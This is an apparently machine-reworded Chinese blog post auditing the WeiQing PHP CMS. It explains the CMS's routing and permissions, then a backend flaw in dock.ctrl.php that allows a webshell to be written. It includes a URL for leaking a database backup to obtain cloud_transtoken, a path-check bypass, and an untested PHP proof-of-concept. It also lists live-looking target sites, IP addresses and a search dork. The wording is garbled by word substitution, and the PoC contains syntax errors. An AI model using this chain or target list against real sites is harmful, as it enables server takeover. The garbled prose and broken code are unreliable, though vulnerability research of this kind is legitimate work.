首页 » 网站建设 » 微擎php53技巧_微擎审计

微擎php53技巧_微擎审计

访客 2024-10-28 0

扫一扫用手机浏览

文章目录 [+]

官网地址:https://www.w7.cc/

开拓文档(https://wiki.w7.com/document/35/370)中提到,源代码位于:https://gitee.com/we7coreteam/pros

微擎php53技巧_微擎审计

根据在线文档(https://wiki.w7.com/document)中的更新公告,最新版是2.7.50

微擎php53技巧_微擎审计
(图片来自网络侵删)

根据开源代码库(https://gitee.com/we7coreteam/pros/tree/master/upgrade)中的记录,最新版是2.7.9

网站搭建好后,在底部又创造最新版是2.7.108

0x02 环境搭建

搭建微擎的过程中踩了很多坑,以下2个坑想搭建的师傅有个生理准备:

1 微擎的版本挺错乱的,下载后是2.7.108,结果搭建完成后底部却显示2.7.94,同样其他版本也是,下载时是一个版本,搭建后又是另一个版本

2 在最新的官网上已经不再供应离线安装的版本,而且供应的安装包(https://gitee.com/we7coreteam/pros)也是很多功能不全,必须要在官网注册认证过了才能通过在线升级来获取到全部功能,有点让人无语

下面是对官网供应的安装脚本的安装演示,一开始利用mac下的php集成环境MAMP,结果在末了一步连接数据库的时候会有问题,这里改用windows下集成环境phpstudy,将项目放到phpstudy对应目录下,访问后按提示操作即可,搭建完成如下图

访问目标地址,创造是已登录状态

利用全新的浏览器访问目标地址,可看到未登录状态下首页如下图

下图是踩坑时搭建的多个版本

0x03 互联网案例

12345678

https://www.zxida.com/web/https://39.98.239.118/web/https://www.cdwjsq.com/web/https://mp.wxquan.cn/web/http://49.234.65.194/web/http://wx.mindmob.cn/web/intitle:"微擎 - "大众平台自助引擎 - Powered by W7.CC"0x04 开始审计01 目录构造

源码下载到本地后,可以看到目录构造如下

对上述目录构造阐明如下

123456789101112131415

addons 微擎模块api 对接外部系统接口app 微站 (Mobile / App)data 存放配置文件framework 微擎框架payment 支付调用目录tester 测试用例upgrade 升级脚本web 后台管理api.php 微信api接口console.php 命令行实行文件index.php 系统入口install.php 安装文件attachment 附件目录02 确定路由

当传入的URL要求中包含一个名为 c、a、do的 GET 参数,它即被视为一个路由,例如:

12345

http://we7.cc/web/index.php?c=platform&a=menu&则会路由至 /web/source/platform/menu.ctrl.php 文件中http://we7.cc/app/index.php?c=mc&a=home&则会路由至 /app/source/mc/home.ctrl.php 文件中

个中c为掌握器(controller),a为操作(action),do为行为(do),且do是可选的,也便是不指定的话会利用默认行为

掌握器以文件夹、文件的形式组织,位于系统的 source 目录下,每一个目录代表一个 controller ,文件夹中的每个文件即为一个 action。
某些情形,一个action可能会包含多个操作,系统中供应 do 参数来用于区分同一个 action 中的不同操作。
例如:

1

http://pro.we7.cc/web/index.php?c=extension&a=module&do=designer

extension为掌握器,module为action,designer为该action下的某一个详细的do

微擎中对付模块的访问,路由轻微不一样

当传入的 c 值为 “site”, a 值为 “entry”时则是一个模块路由,例如:

1

http://we7.cc/web/index.php?c=site&a=entry&do=themeset&m=we7_demo

则会路由至 /addons/we7_demo/site.php 文件中的 doWebThemeset() 方法。

1

http://we7.cc/app/index.php?i=1&j=2&c=entry&do=list&m=we7_demo

则会路由至 /addons/we7_demo/site.php 文件中的 doMobileList() 方法。

03 确定鉴权

文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录构造如下

个中入口文件为index.php,通读index.php后会创造,鉴权紧张由如下代码实现

可看到如果访问的是无需鉴权的接口,则直接跳到对应controller及action处,否则会调用checklogin(),也便是须要检讨登录状态

个中$acl在上面被定义为

1

$acl = require IA_ROOT . '/web/common/permission.inc.php';

进入文件permission.inc.php可看到,掌握器advertisement下面无可直接访问的action,掌握器article下面notice-show,news-show,notice-news是可直接访问的

image-20221206155010265

依照此规律,可梳理出前台访问的接口,及后台访问的接口

04 前台漏洞

前台接口中暂未创造漏洞点

05 后台漏洞漏洞1:已公开但无POC

漏洞涌如今web/source/cloud/dock.ctrl.php

大略讲述一下代码逻辑(搞懂下面的逻辑,才能布局exp),根据之前的路由剖析可知,传入的动作为download时,进入子句

传入的post数据如果进行了base64编码,则解码后赋值给data,否则直接赋值给data,对data进行反序列化,反序列化后先对数组中的file进行base64解码,再判断是否存在gzcompress和gzuncompress,存在的话再进行解压,末了赋值给file

从缓存中获取cloud_transtoken,并传入authcode进行解密,赋值给全局变量$_W中的setting->site->token,对file进行md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,末了赋值给string

如果全局变量$_W中的setting->site->token非空,且string进行md5加密后即是数组中的sign,则进入子句

判断数组中的path是否以”/web”或”/framework”开头,此处我们在布局数组中path的时候只需以”/“开头即可绕过,绕过后子句中布局数组path的全路径,末了调用file_put_contents写入webshell

这里有一个难点,便是从缓存中获取cloud_transtoken,全局搜索,通过剖析创造,访问链接 http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456 进行数据库备份,则数据库备份文件的地址为:http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下

大略阐明一下,调用项目中的函数authcode,传入cloud_transtoken,获取返回的值,根据之前剖析的代码逻辑,反向布局原始数据包,并将payload嵌入个中

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283

<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5('' != $key ? $key : "62a37a4d"); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ('DECODE' == $operation ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = 'DECODE' == $operation ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; ++$i) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; ++$i) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; ++$i) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if ('DECODE' == $operation) { if ((0 == substr($result, 0, 10) || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); }}$cloud_transtoken = ""$token = authcode($cloud_transtoken, "DECODE");function build() { $file = "aaa"; $path = "/test.txt" $string = (md5($file) . $path . $token); $sign = md5($string) $file_ = gzcompress($file); // print($file_); $file__ = base64_encode($file_); // print($file__); $ret = array( "file" => $file__, "path" => $path, "sign" => $sign ); print(serialize($ret));}// build();/$gz = function_exists('gzcompress') && function_exists('gzuncompress');if ($gz) { echo "yes";} else { echo "no";}/

由于我这边是本地搭建的环境,站点无法注册,导致数据库备份后无cloud_transtoken,不能演示打poc过程,对付实际站点,获取cloud_transtoken后,可基于上述poc获取webshell

参考链接

微擎 CMS:从 SQL 到 RCE https://cnpanda.net/codeaudit/863.html

记一次从源代码泄露到后台获取webshell的过程 https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/

代码审计之某通用商城系统getshell过程 https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA

微擎路由 https://www.kancloud.cn/donknap/we7/134629

微擎设置开拓模式 https://www.kancloud.cn/tieniuweb/we7web/1431036

微擎加载器 https://www.kancloud.cn/donknap/we7/134628

离线安装包 http://www.log4cpp.com/learnother/17.html

标签:

相关文章